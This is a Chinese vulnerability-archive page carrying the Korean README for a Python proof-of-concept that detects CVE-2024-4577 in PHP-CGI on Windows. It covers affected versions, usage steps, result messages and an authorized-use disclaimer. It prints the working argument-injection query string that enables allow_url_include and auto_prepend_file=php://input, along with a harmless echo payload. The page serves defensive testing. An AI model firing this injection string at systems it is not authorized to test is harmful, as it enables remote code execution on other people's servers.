关联漏洞
标题:
PHP 操作系统命令注入漏洞
(CVE-2024-4577)
描述:PHP是一种在服务器端执行的脚本语言。 PHP存在操作系统命令注入漏洞,该漏洞源于在特定条件下,Windows系统使用“Best-Fit”行为替换命令行中的字符,这可能导致PHP CGI模块错误地将这些字符解释为PHP选项,从而泄露脚本的源代码,在服务器上运行任意PHP代码等。以下版本受到影响:8.1至8.1.29之前版本,8.3至8.3.8之前版本,8.2至8.2.20之前版本。
介绍
# CVE-2024-4577 취약점 테스트 스크립트
이 Python 스크립트는 PHP의 최신 취약점인 [`CVE-2024-4577`](https://nvd.nist.gov/vuln/detail/CVE-2024-4577)을 진단하기 위한 간단한 PoC(Proof of Concept) 도구입니다.
> ⚠️ 본 도구는 **보안 진단 목적**으로 제공되며, **본인 소유의 시스템** 또는 **사전 허가를 받은 대상에만 사용**해야 합니다.
---
## 📌 개요
이 취약점은 PHP가 Windows 환경에서 CGI 모드로 동작할 때, **멀티바이트 문자 우회를 통해** 임의의 PHP 설정을 주입하고 코드 실행을 유도할 수 있는 문제입니다.
이 스크립트는 대상 URL에 대해 쿼리스트링 기반 우회 페이로드와 PHP 코드를 POST 요청으로 전송하여 취약 여부를 판단합니다.
---
## ✅ 사용 방법
### 1. Python 설치 확인
```bash
python3 --version
```
### 2. 의존 패키지 설치
```bash
pip install requests
```
### 3. 스크립트 실행
```bash
python3 cve_2024_4577_test.py
```
### 4. 대상 URL 입력
예시 입력:
```
http://192.168.0.10/index.php
```
또는 루트 경로만 입력해도 자동 처리됩니다
```
http://192.168.0.10
```
---
## 🔍 결과 설명
- ✅ `[✅] 취약: 서버가 PHP 코드를 실행했습니다.`
→ 해당 서버는 취약합니다.
- ✔️ `[✔️] 비취약 또는 차단됨`
→ 응답은 받았지만 취약점은 발생하지 않음.
- ❌ `[❌] 요청 실패: ...`
→ 연결 오류, 타임아웃 등으로 테스트 실패.
---
## 💡 동작 원리
- 취약점 우회 문자열 삽입:
```
?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input
```
- POST 본문에 PHP 코드 삽입:
```php
<?php echo 'CVE-2024-4577-TEST'; ?>
```
- 서버가 이 코드를 실행하면 응답에 해당 문자열이 포함되어 판단 가능.
---
## ⚠️ 면책 조항
이 스크립트는 **교육 및 보안 연구 목적**으로만 제공되며, 허가받지 않은 시스템을 스캔하거나 테스트하는 것은 **불법**입니다. 사용자는 모든 책임을 스스로 부담합니다.
---
## 📂 파일 구성
| 파일명 | 설명 |
|-----------------------|-----------------------------------|
| `cve_2024_4577_test.py` | 취약점 테스트용 Python 스크립트 |
| `README.md` | 사용법 및 설명 문서 (본 파일) |
| `LICENSE.txt` | |
---
## 📫 문의
버그 신고나 제안사항은 email 또는 PR로 남겨주세요.
## 📝 License
This project is licensed under the MIT License - see the [LICENSE](./LICENSE) file for details.
Copyright (c) 2025 KimJuhyeong95
文件快照
[4.0K] /data/pocs/1264a11acfa9efaa2fddeea2a552837b3128df5a
├── [207K] CVE-2024-4577_상세보고서.docx
├── [824K] CVE-2024-4577_상세보고서.pdf
├── [1.7K] cve_2024_4577_tester.py
├── [1.1K] LICENSE.txt
└── [2.7K] README.md
0 directories, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。